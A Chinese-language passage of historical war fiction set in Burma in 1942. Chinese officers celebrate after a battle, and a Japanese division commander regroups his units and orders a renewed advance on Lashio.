那天夜里细包的伙房果然开了两回。缴上来的日本罐头拆了三箱，全是鱼，胡献群闻着就摇头说他不吃鱼，黄翔说不吃拉倒，顺手把自己那份也端了过去。有个班长从棚子里翻出两瓶清酒，倒在饭碗里分着喝，喝到后来不知谁起了个头唱歌，唱得跑调跑到姥姥家去了，一群人还跟着吼。
“老子七天前跟军部说的什么？”黄翔举着饭碗跟胡献群碰了一下，“一个师团我顶不住。结果呢？”
“结果你也没顶住。”胡献群说，“是人家把他脑袋给端了。”
“那也是老子先把他脖子按住的。”黄翔一仰脖把碗里那点酒喝了，抹了把嘴，“他要不是在我这儿卡了七天，他早进腊戍了。他进了腊戍，你还有油喝？”
胡献群想了想，把自己碗里的推过去半碗。
黄翔坐到弹药箱上摸烟，摸了半天没摸着火。旁边一个兵递过来一根点着的，说团长，这是缴的日本火柴。黄翔接过去点上，抽了一口，说味道还行，就是杆子短了点。
---
回到五月三号下午，细包以南二十几公里。松山祐三指挥部被端了之后一小时。
松山祐三在那里跟第二联队接上了头。他一身泥，靴子里灌满水，右手上一道爬篱笆划的口子。第二联队长和联队副带着人在路口迎上来，一齐立正。联队长第一句是问司令官要不要先歇一歇。
“不歇。”松山祐三说，“图。”
联队部只有一张五十万分之一的。他把图摊在弹药箱上，让人拿两块石头压住角，弯下腰，第一句话就是要数目字。
“前锋现在什么位置？”
“报告司令官，从今天早上起没有联络。”
“本官问的是位置。”松山祐三没有抬头，“没有联络，就按他昨夜的位置加上一天的行程算给本官。报告要有数字。你告诉本官没有联络，本官拿什么下决心？”
联队长的背立刻挺直了。他报了一个推算的位置，报完又补了辎重队和第三大队的。
松山祐三这才抬起眼睛。“第三大队长在哪里？”
“在后面。”
“叫他来。”
那位大队长跑步过来，帽子摘在手里，立正报告。松山祐三没有看他的脸，只问了一句：今日午后两时，你为什么后退。
大队长说因为与师团司令部失去联络，前方情况不明。
“情况不明，你就向南？”松山祐三的声音并不高，可是周围的人一齐把腰绷紧了，“情况不明的时候只有一个方向，就是敌人所在的方向。你在原地不动，本官不责备你；你向南一步，你后面的辎重队就要多守一天。这一天拿什么补，你自己想。”
大队长的头低下去了。松山祐三让他在那儿站着，没让他走，转回身继续看图。
三分钟以后他才重新开口，那时候语气已经变了，变成一种下命令的平稳。
“通信断绝，就用人。三名参谋出发：一名去前锋，一名去辎重，一名向南接方面军的线。骑马，携书面命令，一式两份，分两路走。命令的内容——各部向此处收拢，恢复联络后继续北进。”他用指头在图上圈了一处，“‘收拢不是后退’，这六个字要写进命令里，让每一个大队长当着传令的面念一遍。”
联队长记完，问司令官对今日拂晓的事情有无指示。
松山祐三把今天早上那二十分钟在心里过了一遍。四点五十北面响，规模很大，他把一部分警卫往北调，从下令到人动不到六分钟，六分钟以后东边才开火。北面先响是为了让他把人往北调，调完了东边才动。
他直起腰，脸上倒有了一点笑意。
“对面那个指挥官办得很干净。”他说，“这一手本官在华中用过两回，一回成了，一回险些砸掉。今天早晨本官坐在里头，等于把这一课重听了一遍。”
联队长不敢接。
“可是诸君要看他打完以后做了什么。”松山祐三的指头点在图上那片旱地上，“四十分钟，得手就走，不占地方，不追击，第二梯队一个也没有跟上来。手里有一个师的部队，昨夜绝不会这样打。他们会留下来，把这个联队连同本官一起吃掉。”
他把指头从旱地移开，往北一路划过去。
“他们没有留，是因为他们只有那两个营。这两个营是从曼德勒方向千辛万苦抽出来的救火队，走的是山路，连一门炮也扛不上来。这说明什么？说明中国军队的主力仍在西面，被英国人拖在曼德勒。腊戍是空的，他们正在一勺一勺往里舀水，而本师团已经站在锅边上了。”
联队长忍不住问了一句：那我们的补给线——
“补给线断三天，饿不死人。”松山祐三说，“米在这一带的村子里，油在中国人的仓库里。腊戍是滇缅公路的起点，那里堆着他们六万人的粮食、油料、弹药和药品。诸君，本师团不是去攻占一座城，是去把他们的口袋扎起来。腊戍一断，缅甸境内的中国军队全部成为瓮中之物，一颗子弹运不进来，一个人退不出去。这件事，七千人足够。”
屋里几个人的呼吸都变了。
“本官给诸君一个日程。”他伸出三根手指，“三日收拢，两日恢复接触，第六日到腊戍城下。此一日程，断不更改。”
参谋长这时候插进来一句。他说司令官，是否应当在报告中请方面军重新核查二月的部署判断。
松山祐三摆了摆手：“判断是方面军的事，本师团只报接触的情形。你写：本师团四月二十七日以来在细包正面遭遇之敌，火力与工事均超出警备部队之限度；五月三日拂晓另有敌两个营循东侧山路奇袭本师团指挥所。请方面军将此两项列入判断。”
他顿了一下，又添了两句：“另报——请方面军督促第十八、第三十三两师团于中路加紧压迫，使中国军队无法向东抽兵。本师团请求继续北进。”
参谋长的笔停了一下。他抬起头，说司令官，指挥所被袭，文件未及销毁，此时请求继续北进——
“我的话还没有说完。”松山祐三看着他。
参谋长把嘴闭上了。
“损失一样一样写清楚，一件不许瞒。”松山祐三说，“电台丢两部砸一部，文件未及销毁，师团长本人脱出，全部写上。写完再写请求继续北进。你若只写损失，方面军明日就会命本师团停止待命。停三日，中国人就把腊戍填满了。到那时候，今日拂晓阵亡的那些人，才是白死。”
他把手指从细包往北划，划到腊戍停住：“本师团今日丢的是二十分钟，不是这一仗。”
底下的部署他讲得很快，讲的时候一条一条数着说。
“第一，就地征发。米、油、驮畜，照价付钱，凭票据。第二，侧背的山路，自今日起派警戒。人不许多，一个中队分成十几处，看见人就往回报；通译留在联队部，多找几名当地人来问路——那些山道能过中国人的一个连，也能过日本人的一个中队，北进的时候走那条路的，说不定就是本师团。第三，凡通信中断，各部一律不得原地待命，自行判断，向腊戍方向攻击前进；收拢途中遇小股中国军队，不许绕过，全部吃掉。以上。复诵。”
联队长把这三条一字不差地复诵了一遍。松山祐三点了点头，这才转过身，看着那位还立正站在原处的第三大队长。
“听见了吗。”
“听见了。”
“过来。”
大队长跑了两步，站定。松山祐三把手按在图上前锋的那个位置。
“今日拂晓的事，本师团上上下下都有份，本官第一个有份。这件事从今天起不许任何人在嘴上谈论，要在腊戍还回去。”他抬起眼睛，“前锋现在没有指挥。本官把师团的前锋交给你。第六日拂晓，本官要在腊戍城外看见你的大队旗。”
那位大队长的肩膀抖了一下。他把帽子戴上，深深地行了个礼，转身跑出去，跑的时候脚下绊了一下也没有回头。
松山祐三又叫住联队长，让他去查今天早上在电台棚里砸密码箱的那个军曹叫什么名字，报上来，他要用那个人自己的名字写进报告。
交代完他才想起自己身上还是那身泥，让人取了一套干净军衣，就着马灯换上，从最上面一颗扣子扣到最下面一颗。外头传令的马已经备好。他走出去，站在棚子外面看着三名参谋先后上马，往三个方向去，等到最后一个人的马蹄声听不见了，回过头交代联队长：明日拂晓以前，要让每一个士兵都知道，师团长很好，师团继续前进！